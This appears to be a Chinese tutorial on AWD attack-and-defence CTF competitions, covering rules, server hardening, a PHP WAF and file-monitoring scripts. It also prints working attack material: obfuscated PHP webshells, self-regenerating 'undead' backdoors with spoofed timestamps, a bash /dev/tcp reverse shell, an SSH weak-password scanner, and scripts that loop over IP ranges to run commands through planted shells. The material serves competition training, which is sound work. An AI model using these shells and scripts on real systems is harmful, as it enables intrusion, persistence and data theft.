引文 AWD赛制是一种网络安全竞赛的赛制。AWD赛将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。
AWD 规则 AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。
1.一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
2.可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析(较少提供);
3.flag在主办方的设定下每隔一定时间刷新一轮;
4.各队一般都有一个初始分数;
5.flag一旦被其他队伍拿走,该队扣除一定积分;
6.得到flag的队伍加分;
7.一般每个队伍会给一个低权限用户,非root权限;
8.主办方会对每个队伍的服务进行check,服务器宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分。
常见形式 常见的形式是这样: 每个队伍拥有四台服务器。其中三台服务器运行了一个Web服务,即网站服务。剩余一台(通常被称为Pwn服务器)运行一个网络服务,通常是一个在后台运行的二进制程序,通过TCP的某个端口对外提供服务。并且,每个队伍拥有的四台服务器都是一样的。 在三台Web服务器中,比赛主办方会在每个主机上预置一个或多个后门/漏洞。同样的,在剩下的一台服务器上的二进制程序里也会被预置二进制漏洞(跟Pwn题一样)。
比赛方法 在开始比赛前,通常会有一段时间(一般是30分钟)的加固时间。选手们要在这段时间内备份网站、安装防火墙、加固服务器,以防后续比赛时间被对手打穿。另外,队伍需要分工明确,在其他队友加固服务器的同时,另外的队友应该将备份的服务器文件下载,然后对其进行代码审计和漏洞挖掘(Web手)、逆向与二进制漏洞分析(Pwn手)。在发现漏洞后,及时对自身网站进行漏洞修补与加固。 比赛开始后分为两种情况,一种是主办方给出所有队伍服务器的IP地址,另一种情况是给一个网段,对手的服务器IP需要通过扫描等方法进行发现。 比赛将分为很多轮(一般可能是10分钟)。每轮开始,在每台服务器的某个地方(一般是根目录)会放置一个flag文件(每个队伍每台主机都不一样)。选手们需要通过挖掘到的漏洞编写漏洞利用代码(Exp),然后对其他队伍的服务器进行攻击并最终获取shell执行权限(getshell)或者通过文件读漏洞来读取对手服务器根目录下的flag文件,并向比赛平台提交flag。当攻击方成功攻击对手服务器并提交flag后,攻击方将获得一定的分数,同时防守方将丢失一定的分数(一般来讲,同一台机器被攻击会被扣除固定分数,而所有对这台服务器攻击成功的队伍将平分这些分数)。 在攻击的同时,也要注意自身服务器的防护。当自己的服务器被对手攻击提交flag后,队伍将被扣分。并且要防止服务器不要被破坏,因为每轮(一般是结束时)比赛时比赛平台会对所有队伍的服务器进行check,即检查服务是否正常运转。若出现服务被对手或自己破坏以至于无法提供正常服务的情况,平台将对其队伍进行扣分,同时其他队伍获得相应的加分。 每轮结束后将开始新一轮,此时所有flag文件将刷新,以开始新一轮的攻击和得分。若队伍发现自己服务器服务被破坏,此时可以刷新服务器回到初始状态。否则在比赛途中手动进行刷新服务器操作将导致扣分。 一般的比赛平台为了让比赛保持激烈的状态,会开放自动提交flag的API。即可以通过脚本更加方便地向比赛平台提交flag。
通用技巧 Web漏洞扫描可以使用例如D盾这样的工具,可以快速发现明显的Web后门。代码审计可以用Seay或者Fortify这样的工具。 一般AWD比赛禁止联网,所以队友间文件共享和通信可以使用FeiQ这样的内网通讯工具来进行。 当网站文件被修改,例如被植入木马的情况下,我们可以使用DiffMerge、Beyond Compare这样的工具来对比源文件进行检查。
防护技巧 防护是最重要的一环。一般来讲只要你保护到位了,不让别人打进来你就赢了一半。因为你不会扣分,还有机会平分其他倒霉蛋丢的分。 首先一定要更改服务器初始ssh密码(数据库密码也是一样的)。有些比赛会将所有服务器的ssh服务设置相同的密码,如果你不第一时间改密码别人可以直接登录获得flag并留下后门。同样的,在比赛开始时第一时间也可以去测试别人的服务器是否更改密码以通过最简单的方式得分。 然后就是对数据库、网站文件进行完全的备份。如果出现服务器被其他队伍破坏或其他情况,可以自己去通过备份的文件进行恢复、修复。不然的话只能被打穿等下一轮或者手动刷新服务器,这样将丢失大量分数。 然后就是安装防火墙。就是WAF,可以对不明请求进行拦截和记录,这样你就可以对恶意攻击请求进行拦截。并且通过监控请求日志来推测攻击方的攻击方法,从而发现前面没有发现的漏洞,并快速进行exp编写和攻击。 部署文件监控脚本。这样可以通过文件创建时间来监控后来生成的文件,并进行删除,防止挂马。 一般上面的都部署好了可以抵挡大部分攻击了。
攻击技巧 首先AWD比赛非常激烈,每一轮时间很短,所以几乎所有防护/攻击操作都会使用脚本的方式来进行。所以一般一个队伍的分工是这样的:Web手进行漏洞挖掘、修复;Pwn手进行Pwn题的漏洞挖掘、利用;防守者进行网站防护与日志、文件监控;如果还有一个人的话可以负责应急和exp编写。所有人都应该具备快速exp编写的能力,以适应激烈的比赛节奏。 很重要的一点是,因为所有队伍的服务器都是一样的,所以所有的防护操作都对应了相应的攻击操作。比如上面的初始密码,我们不仅要对其进行防护,也能够通过相同的方式进行攻击。 一般我们都是通过事先准备好的脚本进行攻击。IP扫描、WAF部署等操作也是一样,通过事先准备好的工具或脚本进行扫描。并且IP扫描、漏洞利用、flag获取、flag提交等所有操作都应该全部自动化。比如比赛开始,Web手发现漏洞后编写利用脚本,编入事先准备好的exp中并运行,此时脚本开始扫IP,得到对手服务器IP列表后逐个进行利用,攻击成功后自动获取flag,最后通过平台API自动提交。这样一来效率就会很高。
权限维持 漏洞利用后,例如成功上传服务器木马后需要注入不死马或者内存马以进行权限维持,否则对方发现后删除木马并且修复漏洞后就没用了。
站点部署 比赛开始时我们会分配到一个至多个靶机,通常是分配给我们ssh 用户名和密码还有虚拟ip等信息,我们需要自己去连接靶机。个人推荐使用xshell
搭配xftp
来使用,当我们连接靶机之后要做什么呢。
备份 比赛开始第一时间备份,备份网站目录及数据库,一般在 /var/www/html
目录。
一是为了dump下来,用D盾查杀存在的后门; 二是为了比赛出现异常或恶意破坏进行还原,避免靶机宕机被扣分; 三要审计下有没有高危命令执行函数,进行后期加固,以及有空余时间或专门安排一个人审计下基础漏洞用来做攻击。 命令执行函数 exec()
、passthru()
、system()
、 shell_exec()
、popen()
等;代码执行函数:eval()
、assert()
、preg_repace()
、uasort()
等;文件包含函数 include()
、require()
等,用正则匹配 grep -r "@eval" /www/
,找到后注释掉。
dump源码 比赛开始第一件事,dump 网站源码,使用ssh工具保留源码,复制两份,用d盾 去扫一份,因为当我们靶机受到攻击时对手可能直接删除我们的源码导致靶机DOWN 机,而通常比赛中主办方会在源码中留有一些后门 ,我们用D盾去扫描一下来进行修复 和攻击 。
数据库备份 我们登录数据库来进行备份,当数据被删除时可以使用命令快速还原。
1 mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
还原命令:
1 mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
修改密码 大多数情况下,所有队伍的Web后台、phpmyadmin等服务的管理密码都一样,立马快速检查修改自己密码,并利用此进行攻击。一般默认密码为 admin/admin, admin/123456, test/test
,如果被其他队伍改了那就gg了
当主办方给我们的连接密码过于简单时,不排除对手先登录我们靶机来进行破坏,于是我们要快速修改弱口令密码。
linux修改ssh即本地密码:
修改mysql登录密码:
1 mysql>set password for root@localhost =password('xino' );
关闭不必要端口 一些端口会存在漏洞,为了保证安全我们关闭一些不必要的端口来进行维护:
部署WAF WAF是用来分析阻挡对手攻击的工具它可以分析流量,别人攻击我们的时候,我们可以看到别人的攻击方式。当没有攻击思路时我们就可以分析流量,使用别人的攻击方式。 部署方式如下:
每个文件前边加:
为了方便我们可以修改php.ini配置文件,来自动给当前文件夹下文件头部添加:
1 auto_prepend_file =<filename>
攻击(ATTACK) 当我们部署完自己的靶机确认没有漏洞后,我们便可以尝试攻击别人机器了。
权限维持 过盾一句话
1 <?php $a =1 ;$b ="a=" .$_GET ['a' ];parse_str ($b );print_r (`$a `)?>
可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag,既不容易被发现马,又不容易被其他队利用
1 2 3 <?php $a =1 ;$b ="a=" .$_GET ['a' ];parse_str ($b );$k =(`$a `);header ('cookie:' .$k );?> $a =1 ;$b ="a=" .$_GET ['a' ];parse_str ($b );$k =(`$a `);header ('cookie:' .$k );
弱口令 官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登录别人的靶机 存在某些队伍忘记修改SSH弱口令,尝试使用python脚本连接获取flag
当发现靶机存在弱口令后,我们就可以遍历IP地址来查询存活的机器来自动连接查找FLAG,或者在受害者靶机里植入后门文件来维持我们的控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import paramiko import threading def ssh2 (ip,username,passwd,cmd ): try : ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip,22 ,username,passwd,timeout=0.1 ) for m in cmd: stdin,stdout,stderr=ssh.exec_command(m) out=stdout.readlines() for o in out: print (o) print ('%stOKn' %(ip)) ssh.close() except : print ('%stErrorn' %(ip))if __name__=='__main__' : cmd=['cat /flag' ] username='root' passwd='root' threads=[10 ] for i in range (149 ,151 ): ip='192.168.75.' +str (i) a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd)) a.start()
自带后门 通常靶机会有自带的后门木马,我们知道路径后便可以写一个脚本批量连接来提交FLAG。
nmap 扫描C段存活主机:
1 .\nmap xxx.xxx .xxx .xxx/24
保存为TXT文件以便于之后编写脚本去攻击。
WEB攻击 举几个比较常见的WEB攻击方式:
1 2 3 4 5 6 7 文件读取,伪协议方式读取flag 文件上传,绕过黑白名单上传一句话,用工具连接查找flag 命令执行,通过system等函数来遍历文件 SQL注入,寻找注入点注出flag
当我们找到上面漏洞后,尽量去写一个脚本来自动提交flag,之后再去寻找其他漏洞。
写入木马 因为AWD赛制是回合制,所以我们要想保持长时间稳定上分就要时刻控制别人靶机,也就是要传入木马但又不能被对手发现,下面列举几个权限维持的小技巧。
bash反弹shell 利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,nc反弹shell命令如下:
1 2 bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1 nc -l -p 8080
注意: 使用bash命令,会在root目录生成名为~/.bash_history的记录文件,我们要清除来消除威胁。
不死马 1.一个简单的不死马: 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ignore_user_abort (true ); set_time_limit (0 ); unlink (__FILE__ ); $file = '.config.php' ; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>' ; while (1 ){ file_put_contents ($file ,$code ); system ('touch -m -d "2020-10-21 04:17:18" .config.php' ); usleep (5000 ); } ?>
不死马的作用就是将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为.config.php的不死马隐藏文件。以此来达到权限维持。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ignore_user_abort (true ); set_time_limit (0 ); unlink (__FILE__ ); $file = '.config.php' ; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>' ; while (1 ){ file_put_contents ($file ,$code ); system ('touch -m -d "2018-12-01 09:10:12" .3.php' ); usleep (5000 ); } ?>
2.另一个不死马 直接linux执行:
1 while true ;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
或bs1.php 访问后同目录持续生成 .test.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php set_time_limit (0 );ignore_user_abort (1 );unlink (__FILE__ );while (1 ) { file_put_contents ('.test.php' ,'<?php $a=array($_REQUEST["x"]=>"3"); // pwd=x $b=array_keys($a)[0]; eval($b);?>' ); sleep (5 ); }?>
bs2.php 访问后同目录持续生成 .config.php
文件
1 2 3 4 5 6 7 8 9 10 11 <?php set_time_limit (0 ); ignore_user_abort (1 ); unlink (_FILE); while (1 ){ file_put_contents ('./.config.php' ,'<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>' ); system ('chmod777.config.php' ); touch ("./.config.php" ,mktime (20 ,15 ,1 ,11 ,28 ,2016 )); usleep (100 ); }?>
提交脚本 比赛中可能会有几十台靶机,尽管我们知道了如何攻击,但一个一个打似乎有一些太慢了,所以这时我们要利用脚本去批量提交解放双手。这里就在网上找了几个常用的:
预留后门利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requests url_head="http://xxx.xx.xxx." url="" shell_addr="/Upload/index.php" passwd="xxxxx" port="80" payload = {passwd: 'system(' cat /flag');' } webshelllist=open ("webshelllist.txt" ,"w" ) flag=open ("firstround_flag.txt" ,"w" )for i in range (30 ,61 ): url=url_head+str (i)+":" +port+shell_addr try : res=requests.post(url,payload,timeout=1 ) if res.status_code == requests.codes.ok: result = url+" connect shell sucess,flag is " +res.text print result print >>flag,result print >>webshelllist,url+"," +passwd else : print "shell 404" except : print url+" connect shell fail" webshelllist.close() flag.close()
批量提交flag脚本(需根据要求自行修改):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import sysimport jsonimport urllibimport httplib server_host = ' ' server_port = 80 def submit (team_token, flag, host=server_host, port=server_port, timeout=5 ): if not team_token or not flag: raise Exception('team token or flag wrong' ) conn = httplib.HTTPConnection(host, port, timeout=timeout) params = urllib.urlencode({ 'token' : team_token, 'flag' : flag, }) headers = { "Content-type" : "application/x-www-form-urlencode" } conn.request('POST' , '[submit_flag_dir]' , params, headers) response = conn.getresponse() data = response.read() return json.loads(data)if __name__ == '__main__' : if len (sys.argv) < 3 : print 'usage: ./submitflag.py [team_token] [flag]' sys.exit() host = server_host if len (sys.argv) > 3 : host = sys.argv[3 ] print json.dumps(submit(sys.argv[1 ], sys.argv[2 ], host=host), indent=4 )
防御(DEFENSE) 既然有攻击那么也需要防御别人的攻击,上面其实已经讲了一些防御的技巧了,比如修改弱口令,上传WAF等,这里就简单总结一下其他常用的知识吧。
查找flag的位置
查找password 1 find .|xargs grep "password"
查看以建立的连接和进程 1 netstat -antulp | grep EST
结束进程
检测TCP连接数量
1 2 bash 复制代码netstat -ant|awk |grep |sed -e -e |sort |uniq -c|sort -rn
chattr命令防止系统中某个关键文件被修改 1 chattr +i /etc/resolv.conf
流量监控 流量分析 在比赛机器上使用下述命令进行流量抓取:
1 tcpdump -s 0 -w flow_log.pcap port 9999
然后在本地对抓取的pcap使用wireshark进行分析
日志分析 记录log的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php date_default_timezone_set ('Asia/Shanghai' );$ip = $_SERVER ["REMOTE_ADDR" ];$filename = $_SERVER ['PHP_SELF' ];$parameter = $_SERVER ["QUERY_STRING" ];$method = $_SERVER ['REQUEST_METHOD' ];$time = date ('Y-m-d H:i:s' ,time ());$post = file_get_contents ("php://input" ,'r' );$others = '...其他你想得到的信息...' ;$logadd = '访问时间:' .$time .'-->' .'访问链接:http://' .$ip .$filename .'?' .$parameter .'请求方法:' .$method ."\r\n" ;$fh = fopen ("log.txt" , "a" );fwrite ($fh , $logadd );fwrite ($fh ,print_r ($_COOKIE , true )."\r\n" );fwrite ($fh ,$others ."\r\n" );fclose ($fh );?>
当别人访问我们靶机时请求的URL可能就是攻击的payload,我们如果知道他们的请求就可以利用他们的手段来反打过去,这个基于流量监控来实现,一个简单的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?php date_default_timezone_set ('Asia/Shanghai' );$ip = $_SERVER ["REMOTE_ADDR" ]; $filename = $_SERVER ['PHP_SELF' ]; $parameter = $_SERVER ["QUERY_STRING" ]; $time = date ('Y-m-d H:i:s' ,time ()); $logadd = '来访时间:' .$time .'-->' .'访问链接:' .'http://' .$ip .$filename .'?' .$parameter ."\r\n" ;$fh = fopen ("log.txt" , "a" );fwrite ($fh , $logadd );fclose ($fh );?>
安装waf 1 2 如果我们想给web目录文件添加自定义waf脚本,其实可以用一条命令解决,以php为例: find /var /www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php require_once('\/tmp\/waf.php');/g" find /var /www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php require_once('waf.php');/g"
使用方法:
将waf.php传到要包含的文件的目录
在页面中加入防护,有两种做法,根据情况二选一:
PHPCMS V9:\phpcms\base.php
PHPWIND8.7:\data\sql_config.php
DEDECMS5.7:\data\common.inc.php
DiscuzX2:\config\config_global.php
Wordpress:\wp-config.php
Metinfo:\include\head.php
在所需要防护的页面加入代码:
1 require_once ('waf.php' );
在每个文件最前加上上述代码 在php.ini
中找到并添加:
1 2 Automatically add files before or after any PHP document. auto_prepend_file = waf.php的路径;
还有最简便的方法,可以用一条命令解决,以php为例:
1 2 sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"
(1)waf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 <?php if ($_SERVER ['REQUEST_METHOD' ] != 'POST' && $_SERVER ['REQUEST_METHOD' ] != 'GET' ) { write_attack_log ("method" ); }$url = $_SERVER ['REQUEST_URI' ]; $data = file_get_contents ('php://input' ); rt $headers = get_all_headers (); filter_attack_keyword (filter_invisible (urldecode (filter_0x25 ($url )))); 对URL进行检测,出现问题则拦截并记录filter_attack_keyword (filter_invisible (urldecode (filter_0x25 ($data ))));foreach ($_GET as $key => $value ) { $_GET [$key ] = filter_dangerous_words ($value ); }foreach ($_POST as $key => $value ) { $_POST [$key ] = filter_dangerous_words ($value ); }foreach ($headers as $key => $value ) { filter_attack_keyword (filter_invisible (urldecode (filter_0x25 ($value )))); $_SERVER [$key ] = filter_dangerous_words ($value ); }function get_all_headers ( ) { $headers = array (); foreach ($_SERVER as $key => $value ) { if (substr ($key , 0 , 5 ) === 'HTTP_' ) { $headers [$key ] = $value ; } } return $headers ; }function filter_invisible ($str ) { for ($i = 0 ; $i < strlen ($str ); $i ++) { $ascii = ord ($str [$i ]); if ($ascii > 126 || $ascii < 32 ) { if (!in_array ($ascii , array ( 9 , 10 , 13 ))) { write_attack_log ("interrupt" ); } else { $str = str_replace ($ascii , " " , $str ); } } } $str = str_replace (array ( "`" , "|" , ";" , "," ) , " " , $str ); return $str ; }function filter_0x25 ($str ) { if (strpos ($str , "%25" ) !== false ) { $str = str_replace ("%25" , "%" , $str ); return filter_0x25 ($str ); } else { return $str ; } }function filter_attack_keyword ($str ) { if (preg_match ("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b |outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m ultipoint\(/i" , $str )) { write_attack_log ("sqli" ); } if (substr_count ($str , $_SERVER ['PHP_SELF' ]) < 2 ) { $tmp = str_replace ($_SERVER ['PHP_SELF' ], "" , $str ); if (preg_match ("/\.\.|.*\.php[35]{0,1}/i" , $tmp )) { write_attack_log ("LFI/LFR" );; } } else { write_attack_log ("LFI/LFR" ); } if (preg_match ("/base64_decode|eval\(|assert\(/i" , $str )) { write_attack_log ("EXEC" ); } if (preg_match ("/flag/i" , $str )) { write_attack_log ("GETFLAG" ); } }function filter_dangerous_words ($str ) { $str = str_replace ("'" , "‘" , $str ); $str = str_replace ("\"" , "“" , $str ); $str = str_replace ("<" , "《" , $str ); $str = str_replace (">" , "》" , $str ); return $str ; }function get_http_raw ( ) { $raw = '' ; $raw .= $_SERVER ['REQUEST_METHOD' ] . ' ' . $_SERVER ['REQUEST_URI' ] . ' ' . $_SERVER ['SERVER_PROTOCOL' ] . "\r\n" ; foreach ($_SERVER as $key => $value ) { if (substr ($key , 0 , 5 ) === 'HTTP_' ) { $key = substr ($key , 5 ); $key = str_replace ('_' , '-' , $key ); $raw .= $key . ': ' . $value . "\r\n" ; } } $raw .= "\r\n" ; $raw .= file_get_contents ('php://input' ); return $raw ; }function write_attack_log ($alert ) { date_default_timezone_set ("Asia/Shanghai" ); $data = date ("Y/m/d H:i:s" ) . " -- [" . $alert . "]" . "\r\n" . get_http_raw () . "\r\n\r\n" ; $ffff = fopen ('log_is_a_secret_file.txt' , 'a' ); fwrite ($ffff , $data ); fclose ($ffff ); if ($alert == 'GETFLAG' ) { header ("location:http://172.16.9.2/" ); } else { sleep (15 ); } exit (0 ); }?>
最后,提醒:需要注意的是,部署waf可能会导致服务不可用,部署后要密切留意自己服务器的状态。
(2)Shell监控新增文件 创建文件的时候更改文件创建时间熟悉可能监测不到。
1 2 3 4 5 6 #!/bin/bash while true do find /var/www/dvwa/ -cmin -60 -type f | xargs rm -rf sleep 1done
循环监听一小时以内更改过的文件或新增的文件,进行删除。
(3)Python监测新增文件 放在 /var/www/
或 /var/www/html
下执行这个脚本,它会先备份当然目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 import osimport hashlibimport shutilimport ntpathimport time CWD = os.getcwd() FILE_MD5_DICT = {} ORIGIN_FILE_LIST = [] Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'drops_log' UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), }def isListLike (value ): return isinstance (value, (list , tuple , set ))def getUnicode (value, encoding=None , noneToNull=False ): if noneToNull and value is None : return NULL if isListLike(value): value = list (getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance (value, unicode): return value elif isinstance (value, basestring): while True : try : return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try : return unicode(value, UNICODE_ENCODING) except : value = value[:ex.start] + "" .join(INVALID_UNICODE_CHAR_FORMAT % ord (_) for _ in value[ex.start:ex.end]) + value[ex.end:] else : try : return unicode(value) except UnicodeDecodeError: return unicode(str (value), errors="ignore" )def mkdir_p (path ): import errno try : os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else : raise def getfilelist (cwd ): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files: originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelistdef calcMD5 (filepath ): try : with open (filepath,'rb' ) as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try : ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None ) except KeyError, e: pass def getfilemd5dict (filelist = [] ): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dictdef backup_file (filelist=[] ): for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak' ])if __name__ == '__main__' : print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) print u'[*] pre work end!' while True : file_list = getfilelist(CWD) diff_file_list = list (set (file_list) ^ set (ORIGIN_FILE_LIST)) if len (diff_file_list) != 0 : for filepath in diff_file_list: try : f = open (filepath, 'r' ).read() except Exception, e: break if Special_string not in f: try : print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell' ], ntpath.basename(filepath) + '.txt' )) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filepath) try : f = open (os.path.join(Special_path['log' ], 'log.txt' ), 'a' ) f.write('newfile: ' + getUnicode(filepath) + ' : ' + str (time.ctime()) + '\n' ) f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try : f = open (filekey, 'r' ).read() except Exception, e: break if Special_string not in f: try : print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile' ], ntpath.basename(filekey) + '.txt' )) shutil.move(os.path.join(Special_path['bak' ], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filekey) try : f = open (os.path.join(Special_path['log' ], 'log.txt' ), 'a' ) f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n' ) f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2 )
(4)修改curl 获取flag一般都是通过执行 curl http://xxx.com/flag.txt
更改其别名,使其无法获取flag内容:
1 2 alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用别名,chmod -x curl 降权,取消执行权限
(5)克制不死马、内存马 使用条件竞争的方式,不断循环创建和不死马同名的文件和文件夹,在此次比赛中使用此方式克制 了不死马。
1 2 3 4 5 6 #!/bin/bash dire="/var/www/html/.base.php/" file="/var/www/html/.base.php" rm -rf $file mkdir $dire ./xx.sh
查找后门 对备份web目录进行后门查杀
查杀到后门文件后,查看后门路径及密码,直接通过菜刀连接。
脚本获取webshell并快速提交 为了速度,可以通过脚本进行批量获取webshell,脚本快速提交,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import request url="http://192.168.71." url1="" path="/upload/index.php" passwd="test" port="80" payload={passwd: 'system(\'cat /flag\');' } f=open ("webshell_list.txt" , "w" ) f1=open ("flag_list.txt" . "w" )for i in [1 , 3 , 5 , 7 , 9 , 11 , 13 , 15 ]: url1=url+str (i)+":" +port+path try : res=request.post(url1, payload, timeout=2 ) if res.status_code == request.codes.ok: print url1+" connect shell success, flag is " +res.text print >> f1, url1+" connect shell success, flag is " +res.text print >> f, url1+", " +passwd else : print "shell not find." except : print url1+" connect shell fail" f.close() f1.close()
配置其他队伍地址、shell路径和密码,就可以进行攻击,flag记录在 flag_list.txt文件中。
命令行简单查找后门 1 2 3 find / -name ‘*.php’ | xargs grep -n ‘eval ’ find / -name ‘*.php’ | xargs grep -n ‘system’ find / -name ‘*.php’ | xargs grep -n ‘assert’
存在某些队伍靶机检测没有做到位,导致遗留后门,利用python脚本检测并加以利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requests part_url='/shell.php?pass=system(%27cat /flag%27);' for s in range (149 ,151 ): try : ip1='192.168.75.' +str (s) ip='http://' +ip1+part_url print (ip) res=requests.get(url=ip,timeout=0.1 ) if res.status_code!=404 : print (ip1) with open ('flag.txt' ,'a' ) as f: f.write(ip1+' ' +res.text) except Exception as e: pass
脚本执行成功后会在当前目录下生成一个flag.txt存储flag
或者使用bash
1 2 3 4 5 6 7 cat /flag bash shell.shfor i in `seq 148 152`; do echo '192.168.75.$i' ; curl "http://192.168.75.$i /shell.php" -d "pass=system('cat /flag');" ;done ;
命令行单独查看
1 curl "http://192.168.75.$i /shell.php" -d "pass=system('cat /flag');" ;
